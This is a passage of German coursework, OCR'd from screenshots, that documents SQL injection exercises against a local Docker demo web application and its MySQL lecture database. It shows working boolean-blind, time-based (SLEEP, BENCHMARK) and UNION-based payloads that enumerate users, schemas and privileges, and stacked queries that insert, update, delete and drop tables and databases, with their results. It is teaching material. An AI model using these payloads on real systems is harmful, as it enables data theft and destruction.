ausfuhrt mit r beginnt. So kann weiter Uber den Namen und das Alphabet iteriert
werden, um alle passenden Chars zu identifizieren.

o Dieses Beispiel dient als Workaround, sollte eine SELECT SYSTEM_USER()
Abfrage nicht funktionieren.

o Zu beachten ist, dass gem. Hense Bachelor-Thesis bei Blind-Boolean-
basierter SQL-Injection keine Daten aus der Datenbank zurtickgegeben
werden durfen. Dagegen wurde dieses Beispiel verstol3en. Allerdings
widerspricht diese Aussage den Beispielen im Buch SQL Hacking von Justin
Clarke, S. 253 ff (vgl. Hense Bachelor-Thesis S. 29 ,Auf diese Weise kann ein
Angreifer ableiten, ob die verwendete Payload true oder false zuriickgibt,
obwohl keine Daten aus der Datenbank zuriickgegeben werden.”). Es wird
daher angenommen, dass der vorherige Satz aus der Hense Bachelor-Thesis
anders zu interpretieren ist und meint, dass nicht das eigentlich gesuchte
Datum (hier User-Name) zurtickgegeben wird, sondern eine Reihe von
true/false-Antworten, um letztendlich darauf zu schlieRen.

4 C a 0 O chost
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q c 0 @ localhost

SQL Injection Demo v.1.0

0 @ localhost

SQL Injection Demo v.1.0

Vorlesungen
bio%' AND SUBSTRING STEM_USER root’ Suchen

Vorlesungsnummer Titel Professor SWS

5216 Bioethik Russel

Die Beispiele aus der Hense Bachelor-Thesis kdnnen hier nicht verwendet werden,
da die SQL-Beispiele anders aufgebaut sind als die SQL-Abfrage in dieser
Applikation. Das SELECT-Statement beinhaltet in der Applikation keine IF-
Bedingung. Daher wurde ein anderes Beispiel gewahlt.

o Bsp. aus Hense Bachelor-Thesis

< c @ ® 127.0.0.1/html INE user 120%

Passworttest:
foo x test

SQL: select if(count(1)>0,"richtig","falsch") as Ergebnis from cmsusers WHERE user="foo' AND password="x’;
[Ergebnis
[Falsch

o SQL Code in Appllkatlon

Interessant ist, dass dle msgesamte Lange des Users nlcht 4 sondern 15 betragt.
Das erschwert die Lange des Usern-Namens anhand der vorherigen Methode zu




identifizieren.

d C @ O O ocalhost

SQL Injection Demo v.1.0  Vorlesungen Tools =

Vorlesungen
bio%" AND LENGTH(SYSTEM_USER()=15; --
Vorlesungsnummer Titel Professor SWs
5216 Bioethik Russel 2

Zeitbasierte SQL-Injection

Mit zeitbasierter SQL-Injection wird die Ausfiihrung der Abfrage verzdgert.

Nachfolgendes Beispiel hélt die Ausfiihrung 5 Sekunden an (SLEEP(5)), wenn der
aktuelle User Alice ist. Da dies nicht der Fall ist, wird anstelle der Verzégerung der
Attributwert des 1. Attributs auf 1 gesetzt. Das Laden der Antwort dauert insgesamt

185ms.

C @& 0 O wahos

<4

SQL Injection Demo v.1.0

Vorlesungen

bio%" AND 0 UNION SELECT IF(SUBSTRINGISYSTEM_USER(),1,4)="alice’, SLEEP(5),1).0,0,0;

Vorlesungsnummer Titel Professor

High

Nun wird verglichen, ob der aktuelle User root ist. Da dies der Fall ist, wird die
SLEEP(5)-Funktion ausgefuhrt und die weitere Ausfiihrung der Abfrage um 5
Sekunden verzogert. Das Laden der Antwort dauert insgesamt 5.18s.

C @ 0 © boalhost

SQL Injection Demo v.1.0

Vorlesungen

bio%' AND 0 UNION SELECT IF(SUBSTRING(SVSTEM_USERQ,1,4)="rcor, SLEEP(S),1),0,0,0;

Vorlesungsnummer Titel

0 o 0

Auf alteren MySQL-Datenbanksystemen ist die SLEEP-Funktion mdglicherweise
nicht verfugbar. Hier kann als Workaround die BENCHMARK-Funktion verwendet
werden. Sie fuhrt ein Statement um eine angegebene Integerzahl wiederholt aus. Im
folgenden Bsp. wird die Abfrage SELECT 1 1.000.000.000 Mal ausgeftihrt, was zu
einer Verzogerung von 5.30s fuhrt. Im Gegensatz zur SLEEP-Funktion ist die
Verzogerung von variabler Lange. Ist bspw. die Datenbank stark belastet, dauert die
Anfrage langer. Die Verzdgerung bei der SLEEP-Funktion ist trotz starker Last stets




gleich/statisch.

SQL Injection Demo v.1.0

Vorlesungen

Out-of-Band SQL-Injection

Eine Out-of-Band (OOB) Kommunikation liegt im Allgemeinen vor, wenn Abfrage an
den Server und die Ergebnisse der Abfrage lber unterschiedliche
Kommunikationskanale Ubertragen werden (bspw. HTTPS fiir Senden der Abfrage an
den Server und Server schreibt Ergebnis in eine lokale Datei).

Als Beispiel in der Hense Bachelor-Thesis fur eine Out-of-Band SQL-Injection wurde
das Schreiben in eine Datei mittels INTO OUTFILE-Statement demonstriert.

Hierfur darf die secure_file_priv-Eigenschaft des Datenbanksystems nicht aktiv sein.
Um zu sehen, welcher Wert in der globalen Variable steht, kann das folgende
Statement verwendet werden. Eine Datei kann nur unter dem Pfad/Wert der Variable
abgelegt werden.

Dabei kann die Variable lediglich 3 Zustdnde annehmen: NULL (Datenimport und -
export sind deaktiviert), leerer String (Datenimport und -export sind aktiviert), Pfad ist
angegeben (Datenimport und -export sind nur in dem angegeben Pfad erlaubt). Da
die Variable in diesem Beispiel den Wert NULL besitzt, ist der Datenimport und -
export deaktiviert. Es kdnnen folglich keine Dateien erstellt werden, auf3er die
Konfigurationsdatei des MySQL-Datenbanksystems wird tiberschrieben (Quelle:
https://sebhastian.com/mysql-fix-secure-file-priv-error/).

SQL Injection Demo v.1.0 V.

Vorlesungen

bia%' AND 0 UNION SELECT 0, ‘secure_file_priv Value', @@GLOBAL secure_file_priv, 0; m

Vorlesungsnummer Titel Professor SWs

0 secure_file_priv Value NULL 0

Mit den nachfolgenden Statements kann gepruft werden, ob der jeweilige Nutzer
Uberhaupt die FILE-Berechtigungen besitzt. Ohne diese Berechtigungen ist das
Erstellen einer Datei auch nicht mdglich. Zumindest der Nutzer Root besitzt die FILE-
Rechte.

N C @ A O loclhost

SQL Injection Demo v.1.0  Vorlesungen Tools =

Vorlesungen
bio%’ AND 0 UNION SELECT 0, file_priv, 0, 0 FROM mysql.user WHERE user = ‘root’; --

Vorlesungsnummer Titel Professor sws

0 Y 0 0



https://sebhastian.com/mysql-fix-secure-file-priv-error/

SQL Injection Demo v.1.0  Vorlesungen T
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bio%' AND 0 UNION SELECT 0, grantee, is_grantable, 0 FROM information_schema.user_privileges; --
Vorlesungsnummer Titel Professor SWs

0 ‘mysql.infoschema'@'localhost’ NO ]

0 ‘mysql.session'@localhost’ NO 0

0 ‘mysql.sys'@’localhost’ NO 0

0 ‘root' @'localhost’ YES 0

0 ‘root'@'%’ YES 0

SQL-Multiabfragen

Mit SQL-Multiabfragen werden in einer Abfrage mehrere voneinander getrennte
Einzelabfragen ausgefiihrt. Zu beachten ist, dass oftmals nur das Ergebnis der
letzten Abfrage angezeigt wird.
SQL-Multiabfragen sind gem. Hense-BT i. d. R. in den Datenbank-Konnektoren der
Middleware standardmafiig deaktiviert, wie auch falschlicherweise scheinbar in
diesem Fall zu Beginn vermutet.

< C 0 @ localhost

SQL Injection Demo v.1.0

bio%'; INSERT INTO Vorlesungen(VorINr, Titel, SWS, gelesenVon) VALUES(5299, 'Hello World', NULL, NULL); --
Vorlesungsnummer Titel Professor SwWs
5216 Bioethik Russel 2

Die Anfrage wird zwar scheinbar erfolgreich ausgefiihrt, allerdings wird der Datensatz
nicht in die Relation eingeflgt.

q C O @ localhost

SQL Injection Demo v.1.0

Vorlesungen

Vorlesungsname Suchen

Vorlesungsnummer Titel Professor SWs
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4
5043 Erkenntnistheorie Russel 3
5041 Ethik Sokrates 4
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 4
4052 Logik Sokrates 4
5049 Maeeutik Sokrates 2
5052 Wissenschaftstheorie Russel 3

Die vorherigen Insert-Into-Statements kénnen erfolgreich tber Adminer mit dem
erwarteten Ergebnis ausgefihrt werden. Als Losung des Problems wird ein Commit-



Statement zum Schluss bendétigt, da manche Statements am Ende nicht autom. ein
Commit durchfuhren (siehe Kapitel Neue Daten einfligen, bestehende Daten &ndern
oder l6schen):

d C R ©® localhost, @5 Al
Vorlesungen
bio%'; INSERT INTO Vorlesungen(VorINr, Titel, SWS, gelesenVon) VALUES(5299, ‘Hello World', NULL, NULL); COMMIT; --
Vorlesungsnummer Titel Professor SWs
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4
5043 Erkenntnistheorie Russel 3
5041 Ethik Sokrates 4
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 4
5299 Hello World None None

- Somit ist bewiesen, dass SQL-Multiabfragen mdglich sind und nicht deaktiviert
wurden.



Arbeiten Sie die SQL-Injection-Beispiele in der Hense-BT
anhand zweier unterschiedlicher Datenbanksysteme praktisch
in dem Datenbank-Docker durch. Dokumentieren Sie diese mit
Screenshots!

MySQL
- In den nachfolgenden Beispielen muss im Statement zwischen ,bio %...“ und
,0i0%...“ unterschieden werden.
,bio %...“ Liefert keine Ergebnisse, da es keinen Datensatz mit Titel [bB]io gibt.

Vorlesungen

Vorlesungsnummer Titel Professor SWs

,0i0%...“ liefert als Ergebnis den folgenden Datensatz. Hier kann zwischen [bB]io ein
Leerzeichen stehen, muss aber nicht, denn die Wildcard % steht auch fir ein
Leerzeichen.

Vorlesungen

Vorlesungsnummer Titel Professor sws

5216 Bioethik Russel 2

- Anders als in PostgreSQL ist eine Suche mit LIKE-Operator Case-Insensitive. ,Bio%*
und ,bio%" liefern dasselbe Result Set zurtick. Um eine leere Ergebnismenge zu
erhalten, kann ,‘; --“ verwendet werden.

Vorlesungen

Vorlesungsnummer Titel Professor SWs

5216 Bioethik Russel 2

Das verwendete DBMS identifizieren
- Informationen tber das DBMS kann in MySQL auf unterschiedliche
Vorgehensweisen gesammelt werden




o Uber den Abruf globaler Variablen

d C A A O locahost

SQL Injection Demo v.1.0  Vorlesungen  Tools

Vorlesungen
bio%' AND 0 UNION SELECT 0, @@version, 0, 0; --
Vorlesungsnummer Titel Professor sws
() 8.027 0 0

4 C @ 0O O locahast

SQL Injection Demo v.1.0

Vorlesungen
bio%" AND 0 UNION SELECT 0, @@GLOBALversion, 0, 0; - Suchen
Varlesungsnummer Titel Professor SWs
o 8027 1] 0

o Uber Funktionen

4 C @ 0 © loclhost

SQL Injection Demo v.1.0

Vorlesungen
Vorle: er Titel Professor SWS
o 202 0

o Uber Relationen

q = 0 © ldalhost

5QL Injection Demo v.1.0
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AND 0 UNION SELECT 0, variable_name, 0, 0 from performance_schema.global_status m
Vorlesungsnummer Titel Professor SWSs

o Aborted _chents o 0

0 Acl_cach 0 0

Nachfolgend einige interessante globale Variablen, mit Infos Uber das DBMS
o protocol_version, version, version_comment, version_compile_machine ,
version_compile_os

(o] B © loalhost

SQL Injection Demo v.1.0

Vorlesungen
Vorlesungsnummer Titel Professor sws
0 10 0
0 8028
0 MySQL Community S GPL 0

h 64

0 e mp Linux 0

" AND 0 UNION SELECT 0, 'protocol_version', @@protocol_version, O
UNION SELECT 0, 'version', @ @version, 0 UNION SELECT 0,
‘'version_comment', @@version_comment, 0 UNION SELECT 0,
‘version_compile_machine', @ @version_compile_machine, 0 UNION
SELECT 0, 'version_compile_os', @@version_compile_os, 0; --



Ausspahen von Daten
Ausspahen der auf dem Datenbankserver vorhandenen Datenbanken

q caon o

SQL Injection Demo v.1.0

Vorlesungen
bio%' AND 0 UNION SELECT 0, schema_name, 0, 0 FROM information_schema.schemata Suchen
Vorlesungsnumm: Titel Profess SWs
0 mysgl o a
o
0 0 0
o
o kemper o a

4 C @ 0 @ localhost

SQL Injection Demo v.1.0

Vorlesungen

bio%' AND 0 UNION SELECT 0, table_schema, table_name, 0 FROM informaticn_schema.tables WHERE table_schema = ‘kempe! Suchen

Verlesungsnummer Titel Professor SWS
0 kemper Assistenten [
kemp: 0
0 ke
kemper esunge!
kemper ho 0
0 kemper pruefen
0 kemper VOraUssetzen 0

Soll auf die aktuell verwendete Datenbank eingeschréankt werden, kann auch die database()-
Funktion verwendet werden. Hierflr ist ein Beispiel im Kapitel Unionbasierte SQL-Injection
zu finden.

bio%' AND O UNION (SELECT table_schema, table_name, column_name, 0 as n FROM
information_schema.columns WHERE table_schema = database()); --

Ausspéahen der zur jeweiligen Relation einer Datenbank gehdrenden Attribute

40 C A0 ke

SQL Injection Demo v.1.0

Vorlesungen

Verlasungsnummar Tital Profassor sws

emper

bio%' AND 0 UNION SELECT 0, table_schema, table_name, column_name FROM
information_schema.columns WHERE table_schema = 'kemper’; --



Ausspahen der Daten einer Relation

q a v

SQL Injection Demo v.1.0

Vorlesungen
io%' AND 0 UNION SELECT PersNr, Fachgebiet, Name, Boss FROM kemper. Assistenten;
Vnrlcsungsnumm!r Titel Professor SWs
3002 Ideenlehre Platon 2125
3003 Syllogistik Aristoteles 2125
3004 Sprachthe Wittgenstein 2126
3005 Planetenbewegung Rhetikus 2127
3006 Keplersche Gesetze Newton 2127
3007 Gott und Natur Spinoza 2134

Daten bzw. Inhalt in Datenbank verandern
Neue Datenbank anlegen

© localhost;

1.0

Vorlesungen

bio %' OR 1 =2; CREATE DATABASE hack; --

Vorlesungsnummer Titel Professor SWS

0  ® localhost,

o v.1.0

Vorlesungen

bio %' AND 0 UNION SELECT 0, schema_name, 0, 0 FROM information_schema.schemata;
Vorlesungsnummer Titel Professor SWs

0 mysq| 0 0

0 information_schema 0 0

1] performance_schema 0 0

0 sys 0 0

0 kemper 0 0

0 hack 0 0

Neue Relation anlegen

© localhost,

1.0

Vorlesungen

bio %' OR 1 =2; CREATE TABLE hack.user (id INT(1)) ENGINE=MYISAM; --
Vorlesungsnummer Titel Professor SWs

© localhost,

1.0 Vorlesungen

Vorlesungen

bio %' AND 0 UNION SELECT 0, table_schema, table_name, 0 FROM information_schema.tables WHERE table_schema = 'hack’; --
Vorlesungsnummer Titel Professor SWs
0 hack user 0



O localhost

|

MySQL » mysql » Datenbank: hack

Datenbank: hack

Datenbank &ndern  Datenbankschema  Rechte

Tabellen und Views

Suche in Tabellen (1)

‘ || Suchen ‘
O Tabelle Speicher-Engine? | Kollation? DatengréBe? | IndexgréBe? Freier Bereich? | Auto-Inkrement? Datensdtze? Kommentar?
O |user MyISAM utf8mb4_0900_ai_ci 0 1024 1] 1 0
1 insgesamt | [nnoDB utf8mb4_0900_ai_ci 0 1024 0
Ausgewahlte (0)
In andere Datenbank verschieben: [Joverwrite

© localhost

MySQL » mysgl » hack » Tabelle: user

Tabelle: user

Daten auswéhlen  Struktur anzeigen Tabelle andern  Neuer Datensatz

Spalte | Typ Kommentar
id int NULL

Neue Daten einfligen, bestehende Daten andern oder Idschen

Daten einfligen
- Das Daten Einfuigen funktioniert problemlos ohne Commit-Statement in der mit dem
Verfahrensuser neu angelegten Datenbank

0 O localhost,

.1.0 Vorlesungen Tools ~

Vorlesungen
bio %' OR 1 =2; INSERT INTO hack.user(id) VALUES (999); --
Vorlesungsnummer Titel Professor SWs

© localhost,

.0 Vorlesungen Tools ~

bio %' AND 0 UNION SELECT id, 0, 0, 0 FROM hack.user; --
Vorlesungsnummer Titel Professor SWs
999 0 0 0



Allerdings funktioniert das Einfiigen neuer Tupel scheinbar nicht in der bereits
vorhandenen Datenbank ,kemper” (dasselbe Problem wie in Kapitel SQL-
Multiabfragen skizziert).

4 C @ 0 O localhost

SQL Injection Demo v.1.0  Vorlesungen T

Vorlesungen
bio %' OR 1 = 2; INSERT INTO kemper.Vorlesungen(VorlNr, Titel) VALUES(1, ‘Hello"); --
Vorlesungsnummer Titel Professor SwWs

d C @ QO O loclhost

SQL Injection Demo v.1.0

Vorlesungen

Vorlesungsname
Vorlesungsnummer Titel Professor SWS
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4
5043 Erkenntnistheorie Russel 3
5041 Ethik Sokrates 4
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 4
4052 Logik Sokrates 4
5049 Maeeutik Sokrates 2
5052 Wissenschaftstheorie Russel 3




o Das Insert-Statement ist an sich korrekt

4 cCaan st

Language: [Englin < MySQL = mysql = kemper » SQL comman d

Adminer s.5.1 SQL command

Exacuta | Limit rows: Stop an error CJshaw anly errors.

History

4 C @ 0 O oahot

5QL Injection Demo v.1.0

Vorlesungen
ngsn Suchen

Vorlesungsnummer Titel Professor sws
5216 Russel

5259 Poppe
4630 Die 3 Kritiker Kant

2 R

041 Ethik Sokrates 4

-

5001 Grundzuege Kant 4

1 Hell Mo Non
w52 ook ok .

19 Maeeutik okrats
5052 Wissenschaftstheorie Russel

o Als zweiter Beleg wird in der von root angelegten Datenbank ,hack® eine
identische Relation ,Vorlesungen® angelegt und mittels INSERT INTO-
Statement befullt. Dieser Test belegt, dass das Statement an sich lauffahig ist.
Es wird nun vermutet, dass die Berechtigungen in der Datenbank ,kemper*

eingeschrankt und keine INSERT INTO-Statements zulassig sind:

] C @ 0O O wcahost

SQL Injection Demo v.1.0

Vorlesungen
bio %' OR 1 = 2; CREATE TABLE hack Vorlesungen(VorlNr INT Titel varchar(30) NULL) ENGINE=MYISAM. m

Vorlesungsnummer Titel Professor SWs

C @ 0 O owhost

SQL Injection Demo v.1.0

Vorlesungen
bio % OR 1 = 2; INSERT INTO hack Vorlesungen{VorlNr, Titel) VALUES(1, "Hello')
Vorlesungsnummer Titel Protessor WS
4 C @ O O locahost
Language: |English ~ MySQL » mysql » hack » Select: Vorlesungen
Adminer a.s.1 Select: Vorlesungen
DB Select data  Show structure  Alter table  New item
SQL command Import Select Search Sort: Limit Text length Action
Export  Create table
select Vorlesungen SELECT * FROM “Vorlesungen™ LIMIT 50 Edit

[J Modify | vorINr | Titel

[ edic |1 Hello
Whole result Modify Selected (0) Export (1)
Dt row

Import




o Gem. auf dem Datenbankserver fir den User ,root” hinterlegten Rechten,
sollten INSERT INTO-Rechte gegeben sein

d cCaf localhost:

Language: MySQL » mysql » kemper » Privileges » Username: root@%
Adminer 4.8.1 Username: root@%
DB: [kemper ~
server  |[%
SQL command  Import Username \“’ﬂ‘
Export  Create table e ‘
select Assistenten Privileges? #.% | [kemper” || [kemper “Vorles| | [* |
select Professoren
select Studenten All privileges O O O O
select Vorlesungen Grant option O ] ]
select hoeren
select pruefen Server |Create role
select voraussetzen Server |Create user
Server |Drop role
Server |Event
Server | Process
Server  [Proxy (m]
Server |Reload
Server | Replication client
Server  |Replication slave
Server |Show databases
Server | Shutdown
Server | Super
Server |Create tablespace
Server | SHOW_ROUTINE
Server |RESOURCE_GROUP_USER
Server REPLICATION_APPLIER
Server |PASSWORDLESS_USER_ADMIN
Server |INNODB_REDO_LOG_EMABLE
Server XA_RECOVER_ADMIM
Server GROUP_REPLICATION_STREAM
Server | GROUP_REPLICATION_ADMIN
Server FLUSH_USER_RESOURCES
Server |FLUSH_TABLES
Server |PERSIST_RO_VARIABLES_ADMIN
Server |ROLE_ADMIN
Server |BACKUP_ADMIN
Server CONMNECTION_ADMIN
Server | File
Database | Create routine [m] O o
Database | Create temporary tables O O a
Database | Lock tables O O [m]
Table Alter a a ]
Table Create a a [m]
Table Create view [m] [m] [m]
Table Delete [m] [m] a
Table Drop a [m] [m]
Table Index [m] [m] [u]
Table Insert ]
Table References a O ]
Table Select a O ]
Table Show view a O ]
Table | Trigger O [a] [u]
Table Update [m) [m] a
Column | Select O O ]
Column | Insert [m]
Column | Update a a [u]
Column | References O O 5]
Routine | Alter routine (] (] a
Routine | Execute [m] [m] [u]

Nach einer weiteren Analyse konnte das Problem identifiziert werden. Es wird ein
Commit-Statement am Ende erwartet. Damit klappt nun auch das Insert-Statement in
der Kemper-Datenbank.

Vorlesungen

bio %' OR 1 = 2; INSERT INTO kemper.Vorlesungen(VorlNr, Titel) VALUES(1, 'Hello"); COMMIT; --

Vorlesungsnummer Titel Professor SWS
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4
5043 Erkenntnistheorie Russel 3
5041 Ethik Sokrates 4
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 4
1 Hello None None



- Es wird vermutet, dass das Commit-Statement explizit bendtigt wird, da es nicht
autom. implizit, bei Insert-Statements hinzugefiigt wird. Bei anderen Statements
erfolgt implizit autom. eine Erweiterung. Eine weitere Analyse bedarf der Sachverhalt,
dass in der kemper Datenbank ein Commit-Statement bendtigt wird, bei der neu
angelegten Datenbank hack jedoch nicht.

13.3.3 Statements That Cause an Implicit Commit

The statements listed in this section (and any synonyms for them) implicitly end any transaction active in the current session, as if you had done a comMrT
before executing the statement.

Most of these statements also cause an implicit commit after executing. The intent is to handle each such statement in its own special transaction because it
cannot be rolled back anyway. Transaction-control and locking statements are exceptions: If an implicit commit occurs before execution, another does not
occur after.

* Data definition language (DDL) statements that define or modify database objects. ALTER DATABASE ... UPGRADE DATA DIRECTORY NEME, ALTER

EVENT, ALTER PROCEDURE, ALTER SERVER, ALTER TABLE, ALTER TABLESPACE, ALTER VIEW, CREATE DATABASE, CREATE EVENT, CREATE INDEX, CREATE

PROCEDURE, CREATE SERVER, CREATE TABLE, CREATE TABLESPACE, CREATE TRIG!

CREATE VIEW, DROP DATEBASE, DROP EVENT, DROP INDEX, DROP

PROCEDURE, DROP SERVER, DROP TABLE, DROP TABLESPACE, DROP TRIGGER, DROP V.

EW, INSTALL PLUGIN, RENAME TABLE, TRUNCATE TABLE, UNINSTALL

PLUGIN.

ALTER FUNCTION, CREATE FUNCTION and DROP FUNCTION also cause an implicit commit when used with stored functions, but not with loadable functions

(aLTER FUNCTION can only be used with stored functions.)
Abbildung 1: Quelle: https://dev.mysgl.com/doc/refman/5.7/en/implicit-commit.html

- Durch Ausfuihren des folgenden Update-Statements wird die ID wie erwartet
geandert.

4

SQL Injection Demo v.1.0

Vorlesungen

Vorlesungsnummer Titel Professor sws

d C @ Q O localhos
Language: [English v MySQL » mysgl » hack > Select: user
Adminer 481 Select: user
be: Selectdata  Show structure  Alter table  New item
SQL command  Import Select: Search Sort: Limit Action
Export  Create table
select Vorlesungen SELECT = FROM “use~" LIMIT 50 Edit
select user

) Modify| i

O edit  [1234

Whole result Modify Selected (0) Export (1)
Ot row
Import

- Das Update-Statement funktioniert in allen Relationen der Datenbank ,hack®.

d C ® 0 ® localhost

SQL Injection Demo v.1.0

bio %" OR 1 = 2; UPDATE hack.Vorlesungen SET VorlNr=1234 WHERE VorlNr=1; --
Vorlesungsnummer Titel Professor SWs
d C a0 0w
Language: | English v MySQL » mysql » hack » Select: Vorlesungen
Adminer as.1 Select: Vorlesungen
be: Select data  Show structure  Alter table  New item
SQL command  Import Select Search Sort Limit Text length Action
Export  Create table
select Vorlesungen SELECT * EROM “Vorlesungen’ LIMIT 50 Edit
select user
[J Modify | VorlNr | Titel
[J edit 1234 | Hello
Whole result Modify Selected (0) Export (1)
Ot row
Import


https://dev.mysql.com/doc/refman/5.7/en/implicit-commit.html

Allerdings ohne Commit-Statement wieder nicht in der Datenbank ,kemper*

< C A4 O O loclhost

SQL Injection Demo v.1.0

bio %' OR 1 = 2; UPDATE kemperVorlesungen SET VorlNr=1234 WHERE VorlNr=5216; -
Vorlesungsnummer Titel Professor SWs

Vorlesungen
=
M— - - s
Vorlesungen
bio %’ OR 1 = 2; UPDATE kemper.Vorlesungen SET VorlNr = 1234 WHERE VorlNr = 521 m
Vorlesungsnummer Titel Professor SWs
1234 Bioethik Russet 2

Auch das Léschen von Tupeln funktioniert in der vom Nutzer root angelegten
Datenbank ,hack” problemlos.

4 C & O @ locahost

SQL Injection Demo v.1.0

Bio%:"; DELETE FROM hack.user WHERE id = 1234; --
Vorlesungsnummer Titel Professor sws
5216 Bioethik Russel 2
4 cCad o
Language: [English v MySQL » mysql » hack » Select: user
Adminer 2.8.1 Select: user
DB: |hack hd sSelect data  Show structure  Alter table  New item
sqQL command  Import Select Search sort Limit Action
Expert  Create table
select Vorlesungen SELECT * FROM ~user™ LIMIT 58 Edit
select user
No rows.
Import

N C @ A O localhost

SQL Injection Demo v.1.0  Vorlesungen

Bio%’; DELETE FROM hack.Vorlesungen WHERE VorlNr = 1234; --
Vorlesungsnummer Titel Professor SWs
5216 Bicethik Russel 2



4 C @ 0 © localhost

Language: MySQL » mysql » hack » Select: Vorlesungen
Adminer 4.s.1 Select: Vorlesungen
DB: | hack v Selectdata  Show structure  Alter table  New item
SqQL command  Import Select Search Sort Limit Text length Action
Export  Create table
select Vorlesungen SELECT * FROM ‘Vorlesungen' LIMIT 58 Edit
select user
No rows.
Import

In der ,kemper” Datenbank wird wieder ein Commit-Statement bengotigt.

4 C @ 0 O locahost

SQL Injection Demo v.1.0  Vorlesungen Tools =

Vorlesungen

Bio%'; DELETE FROM kemper.Vorlesungen WHERE VorlNr = 5216; -~
Vorlesungsnummer Titel Professor sws
5216 Bioethik Russel 2

L C Q@ O © lcahos

SQL Injection Demo v.1.0

Vorlesungsnummer Titel Professor SWs
5216 Bioethik Russe! 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4
5043 Erkenntnistheorie Russe! 3
5001 Ethik Sokrates 4
5022 Glaube und Wissen Augustinus 2
Vorlesungen

Vorle Titel Professor sws

5259 Der Wiener Kreis Poppes

- ot

5041 Ethik Sokrates

5001 d:

5239 —" -

5049 Maeeutik Sokrates 2

Bei weiteren Tests Uber Adminer war der Server einmal nicht mehr ansprechbar und
musste neugestartet werden. Danach musste nochmal das Passwort flir den User
.,root“ eingegeben werden, bevor das Insert Into-Statement ausgefihrt werden



konnte.

Language: [English v MySQL » mysql » mysgl » SQL command
Adminer a.s. SQL command
DE: [mysql L INSERT INTO kasger Vorlasugen{vorlir) VALUES(1234)
SQL command  Import Query execut Edit
Export Create table
DSERT THTO cemge ™
system (W50 <
Sorver [myzal
Username [0
L d s
— select password_history
Datsbase [=izal
select plugin
. Seleet progs, priv Executs | Limit rows: Stop on error (Show only errors
select proxies_priv I

Relationen loéschen

q C ® 0 O localhost

SQL Injection Demo v.1.0

Vorlesungen

Bio% AND 1'; DROP TABLE hack.user; --

Vorlesungsnummer Titel Professor SWs

Language: [English v MySQL = mysql = Database: hack
dminer a.s. Database: hack
DB: | hack 2

Alter database  Database schema  Privileges

QL command  [mport Tables and views
Export  Create table
Search data In tables (1)

select Vorlesungen Search
Table  Engine’ Collation” Data Length’ | Index Length” Data Free” Auto Increment” Rows’ Comment”
Vorlesungen My[SAM utfSmb4_0900_ai_ei 20 1,024 0 1 1
lintotal  InnoDB utfBmbd_0900._; 20 1,024 [

- Anders als in den vorherigen Beispielen funktioniert ein Loschen einer Relation in der
Datenbank ,kemper‘ ohne Commit-Statement.

@ 0 © ol

SQL Injection Demo v.1.0

Vorlesungen

Bio% AND 1’ DROP Suchen

Vorlesungsnummer Titel Professor SWs

): Table ‘kemper_vorlosumgen’ dossn't o
i w_gelesemion = p.Persnr IHERE v.Ti

& KN OMDER &Y v.Titel]

Fila “/usr/1c ‘Python3.g/site-packages /mysg| connacter / camnestion_cext.gy’, line 447 in cnd_quary

L —————

Datenbanken I6schen
- Die von User ,root” erstellte Datenbank ,hack® kann problemlos ohne Commit-
Statement geldscht werden.

d C Q@ 0 O localhost

SQL Injection Demo v.1.0

Vorlesungen

Bio%' AND 1; DROP DATABASE hack; --

Vorlesungsnummer Titel Professor SWs

5216 Bioethik Russel 2




C @ 0 O localhost

Language: MySQL » mysql » Database: hack
Adminer as.1 Database: hack
DB: |hack d

Invalid database.

Mdchte der User ,root” die bereits vorhandene Datenbank ,kemper® 16schen, hangt
sich nach Ausfuhren des Befehls der Docker-Container auf und muss neugestartet
werden. Dieser Umstand tritt sporadisch auch bei anderen Beispielen auf. Das
Problem wird beim Docker-Container und nicht der Datenbank vermutet, da auch die
Webanwendung nicht mehr reagiert/erreichbar ist.

© localhost:

MySQL » mysgl » mysql » SQL-Kommando

SQL-Kommando

DROP DATABASE kemper P—
sql-injection-demo.

@ sqlinjection-demo x @

< C @ 0 O loclost

SQL Injection Demo v.1.0 V¢

Vorlesungen

Bio%' AND 1; DROP DATABASE kemper; --
Vorlesungsnummer Titel Professor SWs
5216 Bioethik Russel 2

o Wird in der Docker Desktop App der MySQL-Server neugestartet, scheint die
Datenbank ,kemper tatsachlich nicht mehr zu existieren.

[N

MySQL = m

wsq = Database: kemper

Database: kemper

Alter database  Databsse schema  Privileges
Tables and views
No tables.

Create table  Create view

Routines

MySOL ser
Create pracedure  Create function
Events

MySQL se

Create event

o Wird Adminer mittels F5 neugeladen, taucht die Datenbank inkl. Inhalt jedoch
wieder auf



d C @ O O locahost

Language: MySQL » mysql » Database: kemper
Adminer as.1 Database: kemper

DE: Alter database  Database schema  Privileges

Use

Tables and views
SQL command Import
Export  Create table Search data in tables (7)

[E—
select Assistenten
select Professoren

celoct Studenten (m] Table Engine’  Collation’ Data Length” Index Length’ Data Free? Auto Increment’ Rows’ Comment”
select Vorlesungen [] | Assistenten | InnoDB |utfémb4_0900_ai_ci 16,384 0 0 ~6
select hoeren [] | Professoren | INnoDB |utf8mb4_0900_; 16,384 16,384 0 ~7
select pruefen
select voraussetzen ) |Studenten | InnoDB | utf@mbd4_0900_: 16,384 0 0 ~8
[ |Vorlesungen |InnoDB |utf8mb4_0900_: 16,384 0 0 ~10
[] | hoeren InnoDB | utfémbe_0900_ai_ci 16,384 0 0 0
[ | pruefen INnoDB | utfémbe_0900_ai_ci 16,384 0 0 0
[] |voraussetzen InncDB |utfémb4_0900_ai_ci 16,284 0 0 0
7 in total InnoDB | utfémb+_0900_ai_ci 114,688 16,384 0
Selected (0)

Move to other database: Doverwrite

Create table  Create view

Routines

Create procedure ~ Create function

AuRerdem funktioniert die Website ,SQL Injection Demo v.1.0“ problemlos
und zeigt sdmtliche Daten an

Vorlesungen
P— - roassor v
o e i .
520 F—
4052 Logik Sokrates 4
Mocank o

- Mittels Commit der Transaktion ergibt sich ein anderes Bild. Hier hangt sich der

